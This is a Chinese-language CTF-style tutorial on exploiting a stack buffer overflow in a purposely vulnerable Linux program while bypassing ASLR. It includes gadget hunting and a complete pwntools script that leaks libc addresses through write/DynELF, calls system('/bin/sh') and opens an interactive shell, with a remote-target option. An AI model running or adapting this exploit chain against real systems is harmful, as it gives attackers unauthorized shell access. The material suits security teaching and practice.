网络攻防之——Linux缓冲区溢出过ASLR地址随机化防护

上次我们学习了缓冲区溢出基础,这次我们来个更高级的,漏洞程序源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

编译方式:gcc -fno-stack-protector -o vuln vuln.c -g

开启ASLR地址随机化(系统默认是开启的)
sudo echo 2 > /proc/sys/kernel/randomize_va_space

一、找溢出点

配合python脚本可以让我们更好的找溢出点:python -c 'python("A" * 140)'

找溢出点的过程就不详细的说了,用GDB打开目标程序,运行,输入测试字符串自己慢慢试,可以使用二分法来试,效果不错哦!

最后我找到的溢出点为:140字节

二、分析拿shell思路

因为我们的目的是拿到shell,也就是控制程序让程序执行system("/bin/sh");

所以,我们需要找到system函数的地址,然后我们还要输入一个/bin/sh给程序,用作system的参数。

ps:本方法需要程序自带有write函数才可实现

程序执行步骤如下

  • 接收用户输入(/bin/sh
  • 调用system("/bin/sh");

三、找需要用到的地址

main函数入口地址

漏洞触发点地址,也就是漏洞所在的函数地址,在这里我们就直接用main方法了

它其实就是给DynELF初始化时用作泄露地址用的

GDB中控制台输入p main

我们得到地址为:0x8048460

bss段地址

bss段是用来保存全局变量值的,地址固定,并且可读可写,我们就把读取到的/bin/sh保存在bss段中

在控制台输入:readelf -s 文件名
找到bss那一行,我这里是这样的:
70: 0804a020 0 NOTYPE GLOBAL DEFAULT 26 __bss_start

得到地址:0x0804a020

然后我们需要一些pop ret的地址

pop ret其实就是用来连续调用函数时平衡栈用的,调用的函数有几个参数就需要几个连续的pop后接ret

在控制台输入:objdump -d 文件名

第一列是地址,第二列是16进制代码,第三列是汇编语言,我们需要看的就是第三列

在找pop的时候尽量用__libc_csu_init里面的pop

我找到的pop如下:

1
2
3
4
5
6
80484f8:	5b                   	pop    %ebx
80484f9: 5e pop %esi
80484fa: 5f pop %edi
80484fb: 5d pop %ebp
80484fc: c3 ret

在调用函数时,参数4个就用0x080484f8地址,参数3个就用0x080484f9地址,其他同理

到这里我们需要用到的固定地址就找完啦

四、编写攻击的Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/python

# 导入pwn库,这个库是专门给CTF比赛用的
from pwn import *

# 让pwn输出调试信息
context.log_level = "debug";

# 载入ELF模块
elf = ELF("./w");

# 载入程序
p = process("./w");

# 这是远程攻击的时候用的
#p = remote("127.0.0.1", 9999);

# 获取write地址
write_addr = elf.symbols["write"];

# main函数地址
main_addr = p32(0x8048460);

# 用于DynELF搜索system函数地址,本方法用于泄露出address最少1byte,用于初始化DynELF
def leak(address):

# 作用是调用write函数,然后返回到main,重新执行程序,参数为3个
buf = "A" * 140 + p32(write_addr) + main_addr + p32(1) + p32(address) + p32(4);

# 发送
p.send(buf);

# 接收泄露的地址
data = p.recv(4);

print("data:" + data);
return data;


# 初始化DynELF
d = DynELF(leak, elf=ELF("./w"));

# 找到system地址
system = p32(d.lookup("system", "libc"));

bss = p32(0x0804a020);
pop3 = p32(0x080484f9)

# 同理找到read地址
read = p32(d.lookup("read", "libc"));

# 执行read函数,获取输入的数据
buf = "A" * 140 + read + pop3 + p32(0x00) + bss + p32(0x08);

# 用输入的数据作为参数调用system,然后返回main入口,其实返回不返回都无所谓了,因为都已经拿到shell了,所以main_addr可以随便填4个字节数据
buf += system + main_addr + bss;

# 发送溢出代码
p.send(buf);

# 发送system执行的参数
p.send("/bin/sh\0");

# 作用是程序与用户交互
p.interactive();